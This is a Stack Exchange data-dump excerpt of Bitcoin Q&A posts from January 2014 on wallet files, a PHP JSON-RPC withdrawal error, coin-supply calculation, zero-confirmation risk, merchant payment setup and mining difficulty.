  <row Id="20836" PostTypeId="1" AcceptedAnswerId="20838" CreationDate="2014-01-20T12:06:35.783" Score="0" ViewCount="57" Body="&lt;p&gt;So I wanted to move my wallet from laptop to computer, and the Bitcoin client on my laptop is out of sync but I still generated a wallet.dat from it. If I then use this wallet.dat in an up to date client, will everything be fine?&lt;/p&gt;&#xA;" OwnerUserId="12446" LastActivityDate="2014-01-20T12:32:38.013" Title="Using a wallet generated from an out of sync client with a synced client" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20837" PostTypeId="1" AcceptedAnswerId="20951" CreationDate="2014-01-20T12:14:08.877" Score="0" ViewCount="732" Body="&lt;p&gt;I run a small exchange, and we are having a  problem with the DIMECOIN wallet. when sending amounts over 1 million coins. we get the following message when error reporting turned on. I can't for the life of me determine what the error is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Exception' with message 'Request error: Array' &#xA;stack trace: #0 ../class.wallet.php(36): jsonRPCClient-     &amp;gt;__call('sendtoaddress', Array)&#xA;#1 ../class.wallet.php(36): jsonRPCClient-&amp;gt;sendtoaddress('7EFMZkPb6sHhKgk...', 69986000) #2 &#xA;../withdrawalqueue.php(128): Wallet-&amp;gt;Withdraw('7EFMZkPb6sHhKgk...', '69986000', '1', 'DIME') #3 ../index.php(334): include('..') #4 {main} thrown in ../jsonRPCClient.php on line &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($total &amp;gt; 1000000) {&#xA;        return $this-&amp;gt;Client-&amp;gt;sendtoaddress($address, (double)round($total, 2));&#xA;}&#xA;elseif($total &amp;gt; 10000000) {&#xA;        $amt2s = $total * .1;&#xA;        $i = 0;&#xA;        do{&#xA;            return $this-&amp;gt;Client-&amp;gt;sendtoaddress($address, round($amt2s));&#xA;            $i++&#xA;        }&#xA;        while($i &amp;lt; 10);&#xA;&#xA;}else{&#xA;        return $this-&amp;gt;Client-&amp;gt;sendtoaddress($address, (double)sprintf(&quot;%.8f&quot;, $total));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12447" LastEditorUserId="12447" LastEditDate="2014-01-20T12:20:28.637" LastActivityDate="2014-01-22T18:05:15.853" Title="JSON RPC: Fatal error: Uncaught exception 'Exception' with message 'Request error: Array'" Tags="|json-rpc|error|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20838" PostTypeId="2" ParentId="20836" CreationDate="2014-01-20T12:32:38.013" Score="1" Body="&lt;p&gt;Yes, but you will have to resync that wallet if it has pending transactions.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-20T12:32:38.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20839" PostTypeId="2" ParentId="20789" CreationDate="2014-01-20T12:37:42.793" Score="3" Body="&lt;p&gt;Yeah, that's right - Mastercoin uses the same address space as Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can store BTC, MSC, TMSC (Test MSC), and soon many other crypto-currencies on the same address using The Master Protocol.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-01-20T12:37:42.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20840" PostTypeId="1" AcceptedAnswerId="20841" CreationDate="2014-01-20T13:00:11.087" Score="1" ViewCount="111" Body="&lt;p&gt;Here's what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;total_epochs = current_block_height % 210000&#xA;total_coins = 0;&#xA;&#xA;for(i = 1; i &amp;lt;= total_epochs; i++) {&#xA;  reward = 100 / 2^(i * 210000 / 210000);&#xA;  total_coins += 210000 * reward;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this overaccounts for the total coins. Any simpler strategy that works?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-01-20T13:19:49.600" Title="What is short pseudocode for determining the total number of bitcoins mined?" Tags="|block|mining-reward|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20841" PostTypeId="2" ParentId="20840" CreationDate="2014-01-20T13:19:49.600" Score="2" Body="&lt;p&gt;With a\b representing integer division and a%b the remainder of this division:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  blocks_per_epoch = 210000;&#xA;  initial_reward = 5 * 10^9;&#xA;&#xA;  current_epoch = current_block_height \ blocks_per_epoch;&#xA;  blocks_in_current_epoch = (current_block_height % blocks_per_epoch) + 1;&#xA;  current_reward = initial_reward / 2 ^ (current_epoch);&#xA;&#xA;  total_coins = 2 * blocks_per_epoch * (initial_reward - current_reward) +&#xA;     blocks_in_current_epoch * current_reward;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this can be off by a few satoshis due to a different rounding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you work with integers for the reward, the division for current_reward can be replaced with a bitshift. If not, you can change initial_reward to 50 to give result in BTC instead of satoshis.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-01-20T13:19:49.600" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20843" PostTypeId="2" ParentId="20822" CreationDate="2014-01-20T14:18:27.403" Score="2" Body="&lt;p&gt;The answer for @jtorba is not strictly correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty is the main control mechanism used to determine the amount of Bitcoins released over time. The amount of bitcoins released is according to the bitcoin era as defined &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the system tries to maintain a release of bitcoins every 10 minutes - which is part of the config settings that all miners adhere to. To do this the code takes into account the average block completion time every 2016 blocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to note that this is NOT affected by the number of miners, but instead affected by the computing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A block is discovered by a process of hashing - which is a repetitive computing process -  until a result is found that matches a rule. Obviously the FASTER you can repeat this process the better chance you have of finding the answer that fits the rule before anyone else. It is specifically designed not to matter how many computers you have doing this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rule becomes increasingly difficult - hence the use of the word difficulty - and therefore more computing effort is required to cycle through the possibilities becomes harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This self adjusting process is the main mechanism that maintains the release of bitcoins to the schedule in the link above.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-20T14:18:27.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20844" PostTypeId="2" ParentId="19734" CreationDate="2014-01-20T14:24:27.493" Score="1" Body="&lt;p&gt;&quot;I have set correct date of the transaction in the import file during import&quot; - I don't think you need to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the date is not the date of the transaction, but the date the wallet was created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try importing the private key again without changing the date. &lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-20T14:24:27.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20845" PostTypeId="1" CreationDate="2014-01-20T14:36:24.053" Score="16" ViewCount="1685" Body="&lt;p&gt;I sent a small amount of BTC to someone and she was notified within seconds.  But the first confirmation did not happen for ten minutes or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the chance that this transaction could fail between the notification and the first confirmation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it all depend on how well I try to double-spend?&lt;/p&gt;&#xA;" OwnerUserId="12311" LastActivityDate="2015-07-15T15:15:21.460" Title="How secure is zero confirmations?" Tags="|zero-confirmation|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20846" PostTypeId="1" AcceptedAnswerId="20856" CreationDate="2014-01-20T14:48:22.867" Score="-4" ViewCount="84" Body="&lt;p&gt;Could the bitcoin protocol be used to defeat logins and passwords of websites?&lt;/p&gt;&#xA;" OwnerDisplayName="anon" LastActivityDate="2014-01-20T17:58:07.603" Title="Could the bitcoin protocol be used to defeat logins and passwords?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-21T12:58:11.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="20847" PostTypeId="1" CreationDate="2014-01-20T15:06:29.657" Score="4" ViewCount="6773" Body="&lt;p&gt;So I'm trying to sync with the network in Bitcoin-Qt, but I just can't seem to make use of the bootstrap.dat file that I downloaded, which is annoying because it will be awfully slow to sync without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was no folder in Application Support where the file was supposed to go, so I made one: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;User/Library/Application Support/Bitcoin - and put the bootstrap.dat file in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet still when I launch Bitcoin-Qt it fails to use the bootstrap, and just tries to sync normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if I'm doing something wrong here? Or if there's a way around this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running OSX 10.9 Mavericks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12454" LastActivityDate="2014-12-06T18:20:40.810" Title="How to use the bootstrap.dat in Mavericks?" Tags="|bitcoin-core|mac|bootstrap.dat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20848" PostTypeId="2" ParentId="20845" CreationDate="2014-01-20T15:12:58.597" Score="4" Body="&lt;p&gt;If you send BTC, your transaction will be broadcasted to the bitcoin P2P network. It is very unlikely that the transaction fails, if the receiver was notified, because then probably many miners already have the transaction and it is confirmed with the next mined block (that's the reason for the 10 minutes, because each 10 minutes a new block is mined). The only way that it could fail is if you double spend it, because then it is luck which of the two transactions are used for a new block. So if the receiver trusts you, she doesn't have to wait for a confirmation.&lt;/p&gt;&#xA;" OwnerUserId="12422" LastActivityDate="2014-01-20T15:12:58.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20849" PostTypeId="1" AcceptedAnswerId="20887" CreationDate="2014-01-20T15:19:22.633" Score="1" ViewCount="327" Body="&lt;p&gt;Suppose Alice sent some coins to a multisig address. Even if that address is assigned to my wallet I will not see the transaction as it doesn't really belong to me. That's fine, Bitcoin-Qt has no way to show &quot;money in your account but locked by multisig&quot; GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I need the txid in order to sign it (via the API) but how do I find that txid when I am a third party (like an escrow for example) and don't have a trace of the transaction via my wallet like Alice would?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I could monitor the blockchain but that sounds foolish, there has to be a better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: given the multisig address xxx give me all transactions registered for that address.&lt;/p&gt;&#xA;" OwnerUserId="11845" LastActivityDate="2014-01-21T20:08:47.973" Title="Transaction id from a multisig address" Tags="|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20850" PostTypeId="1" CreationDate="2014-01-20T15:32:19.860" Score="3" ViewCount="312" Body="&lt;p&gt;I manage a hotel and the owner is interested in using Bitcoin as a payment option. How can we start to use this option and what will we need? There are multiple hotels he owns and would like to eventually get all of them using this option as well.&lt;/p&gt;&#xA;" OwnerUserId="12461" LastEditorUserId="5406" LastEditDate="2016-08-02T05:57:32.513" LastActivityDate="2016-08-02T05:57:32.513" Title="What is necessary for a Hotel to accept Bitcoin as a payment method?" Tags="|payment-processors|face-to-face-payment|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20852" PostTypeId="2" ParentId="20850" CreationDate="2014-01-20T15:41:07.960" Score="1" Body="&lt;p&gt;If depends on your geographic preference and location in case you want to make it easier for national clients to use bitcoin as a payment transmission mechanism. But in case you are in the USA:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;Bitpay&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2014-01-20T15:41:07.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20853" PostTypeId="2" ParentId="20850" CreationDate="2014-01-20T15:52:53.447" Score="2" Body="&lt;p&gt;Depends on your budget or technical expertise I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Install a &lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;wallet&lt;/a&gt; and create a new address. Post this address on the hotel's website and you are ready. This is the low tech solution and you would manually have to check the balance to see what payments are received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. Use a gateway like &lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt;. It works like a Paypal for Bitcoins. The payment will be handled by BitPay and BitPay will send the coins to your address or convert them to fiat currency for you. This is probably the option you are looking for but BitPay takes a little fee of course. &lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; or &lt;a href=&quot;https://bips.me/&quot; rel=&quot;nofollow&quot;&gt;BIPS&lt;/a&gt; are alternatives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C. Hire a developer to do the integration for you. This lets you customize the way you want it but is probably way more expensive.&lt;/p&gt;&#xA;" OwnerUserId="11845" LastEditorUserId="11845" LastEditDate="2014-01-20T17:52:50.420" LastActivityDate="2014-01-20T17:52:50.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20854" PostTypeId="2" ParentId="20845" CreationDate="2014-01-20T15:53:46.987" Score="9" Body="&lt;p&gt;For small amounts, like a cup of coffee, the double-spending risk is going to be negligible. If it's a person I know, I wouldn't mind receiving and accepting as valid a transaction with zero confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For shops that will start accepting bitcoin, a stronger security measure would be for them to have multiple bitcoin clients installed in multiple geographical locations. Once each of them has &quot;seen&quot; the transaction they can confirm it as valid, even though it hasn't been included in the blockchain yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea behind having several machines look and validate the transaction is that it becomes much harder for someone to propagate a double-spend against a transaction that has already been seen and propagated by several machines across the world.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-01-20T21:50:00.500" LastActivityDate="2014-01-20T21:50:00.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20855" PostTypeId="2" ParentId="20611" CreationDate="2014-01-20T16:00:22.050" Score="2" Body="&lt;p&gt;&lt;strong&gt;Outputs cannot be changed&lt;/strong&gt;. They can only be created and spent. Since it is unlikely that you'll have the exact matching amount available when sending funds to a recipient, most transactions therefore need to send back change to the sender.&lt;br&gt;&#xA;This ties into how transaction fees work: Miners can collect the difference between the input value and the output value as transaction fees. Thus, any funds not explicitly sent back to the sender become transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outputs are explicitly created by transactions and can then be uniquely tracked by means of their &lt;code&gt;outpoint&lt;/code&gt;. The &lt;code&gt;outpoint&lt;/code&gt; consists of &lt;code&gt;txid:vout&lt;/code&gt;, i.e. the transaction hash of the transaction that created an output, concatenated by a colon with the position of the output in that transaction's output list.&lt;br&gt;&#xA;Tracking outputs explicitly, e.g. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mitigates replay attacks and double-spend attacks (after confirmation)&lt;/li&gt;&#xA;&lt;li&gt;makes it possible for multiple transactions from the same wallet to confirm in various orders, allowing for transactions to signal different priorities&lt;/li&gt;&#xA;&lt;li&gt;allows updating of transactions&lt;/li&gt;&#xA;&lt;li&gt;facilitates chaining transactions explicitly to each other (e.g. used for Lightning Network)&lt;/li&gt;&#xA;&lt;li&gt;require little information for thin-clients to know about spendable funds&lt;/li&gt;&#xA;&lt;li&gt;supports use of many unrelated addresses for better privacy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The main disadvantages of the UTXO-based design are that it is somewhat counter-intuitive compared to account-based designs, and that it requires more data to identify the spent funds.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2018-05-01T18:46:37.103" LastActivityDate="2018-05-01T18:46:37.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20856" PostTypeId="2" ParentId="20846" CreationDate="2014-01-20T16:04:29.933" Score="1" Body="&lt;p&gt;Sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website could give you a random string that you would use to sign a symbolical transaction to the blockchain. Once the transaction is done, the website can assign your bitcoin address with that initial random string and allow you to log into their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact it could replace systems like &lt;a href=&quot;http://openid.net/&quot; rel=&quot;nofollow&quot;&gt;OpenID&lt;/a&gt; where you'd just make a single symbolical transactions that various other sites would understand and can log you in.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-01-20T17:58:07.603" LastActivityDate="2014-01-20T17:58:07.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20857" PostTypeId="2" ParentId="408" CreationDate="2014-01-20T16:19:09.260" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin is currently inflationary (increasing in supply), however in the long run it has a maximum of 2.1 quadrillion transactable units (21 million bitcoins).&lt;/li&gt;&#xA;&lt;li&gt;Any finite currency supply can be harmed by charging interest. Charging interest means musical chairs, when the music stops &amp;amp; you are asked to pay back what you owe someone will be left without a chair. I.e. there won't be enough bitcoins in circulation to pay back the interest.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For Example: &lt;em&gt;Bob wants to buy Manhattan, &amp;amp; Manhattan costs 21-million bitcoins, but Bob does not have 21 million. Some how he convinces every bitcoin holder in the world to loan or give their coins to him. The bitcoin holders that loan Bob bitcoins ask for principle plus interest to be paid back. But that's the problem there are only 21 million bitcoins MAX and Bob can not pay back the interest he owes.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12476" LastActivityDate="2014-01-20T16:19:09.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20859" PostTypeId="2" ParentId="20814" CreationDate="2014-01-20T17:26:33.103" Score="1" Body="&lt;p&gt;25 GH miner is old technology.  I have a 30 GH miner (2 miners 25GH + 5GH) running on  the eglius pool.  At the current network rate I will earn 0.00859212 BTC per day, which means &lt;strong&gt;IF THE NETWORK&lt;/strong&gt; difficultly stayed constant, then I would earn 1 BTC in 116 days.  But the 28 nm machines are coming online so my 0.008 will soon drop to 0.001 or worse.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could drop 800 and get 25 GH&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$800 on 25 GH   ($32 per GH)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you could drop 2100 and get 600 GH&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$2100 on 600 GH (pre-order)  ($3.5 per GH)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="302" LastEditorUserId="302" LastEditDate="2017-05-31T02:07:02.350" LastActivityDate="2017-05-31T02:07:02.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20860" PostTypeId="2" ParentId="20820" CreationDate="2014-01-20T17:39:34.963" Score="4" Body="&lt;p&gt;TL;DR: &lt;strong&gt;The Bitcoin protocol runs the Bitcoin network and the rate at which coins are created cannot be adjusted manually, but follows a pre-defined reward schedule.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The money supply in Bitcoin is governed by the rules defined in the Bitcoin protocol. The protocol defines a reward schedule, i.e. how many Bitcoins may be created with each block, and the rules by which valid blocks may be created.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reward schedule&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin protocol allows a miner that finds a valid block to create a specific amount of new Bitcoins and sent them to an address of the miner's choosing. To do so, the miner includes the mandatory &lt;em&gt;coinbase transaction&lt;/em&gt; in the block which doesn't have an input, but only outputs the newly generated coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin, this &lt;em&gt;block reward&lt;/em&gt; started out to be 50 BTC per block. It is halved every 210,000 blocks, so that it is currently 25 BTC per block (as we are currently at block 281,535).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Block interval and difficulty&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The protocol defines that any block which doesn't fulfill the current &lt;em&gt;difficulty&lt;/em&gt; criteria should not be accepted by the network. The &lt;em&gt;difficulty&lt;/em&gt; is adjusted every 2016 blocks (approx. every 14 days). By the rules defined in the protocol, the new difficulty is calculated such that there would be approximately one block every ten minutes, if the amount of the work available to the network remained like it was for the previous difficulty period.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-13T09:33:40.563" LastActivityDate="2015-05-13T09:33:40.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20861" PostTypeId="2" ParentId="20850" CreationDate="2014-01-20T18:13:45.293" Score="1" Body="&lt;p&gt;You need to look into how you would integrate this with your current hotel management/bookkeeping/accounting software in addition to the ecommerce aspects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to take a look at this &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_accept_Bitcoin,_for_small_businesses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/How_to_accept_Bitcoin,_for_small_businesses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1fbsb4/cashctrl_online_accounting_software_from/?utm_medium=twitter&amp;amp;utm_source=Fancy+Show+Tech&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1fbsb4/cashctrl_online_accounting_software_from/?utm_medium=twitter&amp;amp;utm_source=Fancy+Show+Tech&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow me on Twitter #ripplebits&lt;/p&gt;&#xA;" OwnerUserId="12481" LastActivityDate="2014-01-20T18:13:45.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20862" PostTypeId="2" ParentId="20850" CreationDate="2014-01-20T18:17:19.160" Score="0" Body="&lt;p&gt;If you want to accept Bitcoin as payment method on the checkout counter then create a account on &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt; and get your QRCode printed on a big paper an stick it somewhere near reception. If a guest in interested to pay using Bitcoin he may scan the QRCode and send money on that wallet address. That's it!&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-20T18:17:19.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20863" PostTypeId="2" ParentId="19211" CreationDate="2014-01-20T18:43:31.597" Score="1" Body="&lt;p&gt;You may get better help from this guide (talked about cgm 3.7.2, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://silverlinux.blogspot.com/2013/10/minimal-headless-opencl-cgminer-on.html&quot; rel=&quot;nofollow&quot;&gt;http://silverlinux.blogspot.com/2013/10/minimal-headless-opencl-cgminer-on.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12483" LastActivityDate="2014-01-20T18:43:31.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20864" PostTypeId="1" AcceptedAnswerId="20866" CreationDate="2014-01-20T19:37:09.763" Score="0" ViewCount="600" Body="&lt;p&gt;How is the challenge string computed mathematically? What's preventing some node on the bitcoin network from broadcasting a challenge + proof to other nodes as it's own when it received it from some other node? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A parallel to this question would be, how do a node, on receiving, the challenge + proof, authenticate the node which produced this combination?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking this up elsewhere, but the details of the challenge string calculation seems to be abstracted away in most tutorials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="12486" LastEditorUserId="5406" LastEditDate="2021-03-06T19:40:02.413" LastActivityDate="2021-03-06T19:40:02.413" Title="What parameters are used to calculate the challenge string during bitcoin mining (blockchain creation)?" Tags="|blockchain|algorithms|block-validity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20865" PostTypeId="1" CreationDate="2014-01-20T20:50:42.927" Score="1" ViewCount="1727" Body="&lt;p&gt;As title says, I would like to mine in the cloud. Is it profitable? I don't mean bitcoin because the network hash power is too high at the moment. I'd like to mine, for example, Dogecoin in the cloud. Is it possible and profitable? Thanks! &lt;/p&gt;&#xA;" OwnerUserId="12488" LastEditorUserId="5406" LastEditDate="2016-04-25T20:47:04.627" LastActivityDate="2016-04-25T20:47:04.627" Title="Is it profitable to mine any Altcoin in the Cloud? Amazon aws has servers with GPU." Tags="|mining-profitability|altcoin|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-25T19:56:06.757" ContentLicense="CC BY-SA 3.0" />
  <row Id="20866" PostTypeId="2" ParentId="20864" CreationDate="2014-01-20T21:08:45.773" Score="2" Body="&lt;p&gt;The data that is hashed, and the hash of which must be below the current target, is the block header. The block header consists of the block version number, the hash of the previous block, the Merkle root of the transactions in the block, the time, the target, and a nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The generation of new bitcoins happens with a transaction, the first transaction of the block, which generates new bitcoins out of thin air. No part of the block can be changed without the hash changing and therefore becoming invalid, and that includes the coinbase transaction's output(s).&lt;/p&gt;&#xA;" OwnerUserId="1161" LastActivityDate="2014-01-20T21:08:45.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20867" PostTypeId="1" CreationDate="2014-01-20T21:12:55.373" Score="0" ViewCount="1167" Body="&lt;p&gt;How paranoid should you be when storing cryptocurrencies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; I am currently storing some BTC and LTC at paper wallets, but this does not feel good because what if the paper wallet gets 100 transactions in? Won't the paper wallet then be &quot;full&quot;? What if I accidentaly missed one character when I copied the private key by hand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; What if I import the private key to my Bitcoin-QT wallet on my computer in order to spend some BTC. When I am done spending the BTC I backup the wallet.dat on a USB stick, then I remove the &lt;strong&gt;wallet.dat&lt;/strong&gt; file from the computer. The file will still be on the HDD and what if someone gets their hand on my computer and runs some recovery program that recovers the &lt;strong&gt;wallet.dat file&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have soon 10 000€ stored in cryptocurrencies and losing them would suck so hard. What if someone comes up with a backdoor in Windows that steals everyone's &lt;strong&gt;wallet.dat&lt;/strong&gt; file? I am sure there are people working on something like this, since they would be millionares if they succeed...&lt;/p&gt;&#xA;" OwnerUserId="12490" LastActivityDate="2014-01-21T11:40:41.313" Title="How to store cryptocurrencies safely?" Tags="|litecoin|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-25T03:27:48.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="20869" PostTypeId="1" AcceptedAnswerId="20877" CreationDate="2014-01-20T21:49:57.077" Score="4" ViewCount="11476" Body="&lt;p&gt;I want to backup only the private key, not the full litecoin-qt wallet for the reason that the wallet can be used only with litecoin-qt client and if I have to use it after few years or on other machine, I do not want to wait the client to fully download the full blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please let me know how to extract the private key from the wallet file?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-21T03:08:32.260" Title="How to get private key from litecoin-qt wallet?" Tags="|wallet.dat|litecoin-qt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20874" PostTypeId="1" CreationDate="2014-01-20T23:34:01.173" Score="0" ViewCount="235" Body="&lt;p&gt;How does Bitcoin-qt technically check for receives to it's own addresses. I know it has a list of addresses loaded in from the wallet.dat, but when a new block or new transaction arrives, what logic increments the wallet balance you see and how? I've been told that it uses some merkle tree stuff.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-21T03:49:42.267" Title="Where/How does Bitcoin-qt check for receives to it's addresses?" Tags="|transactions|bitcoin-core|receiving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
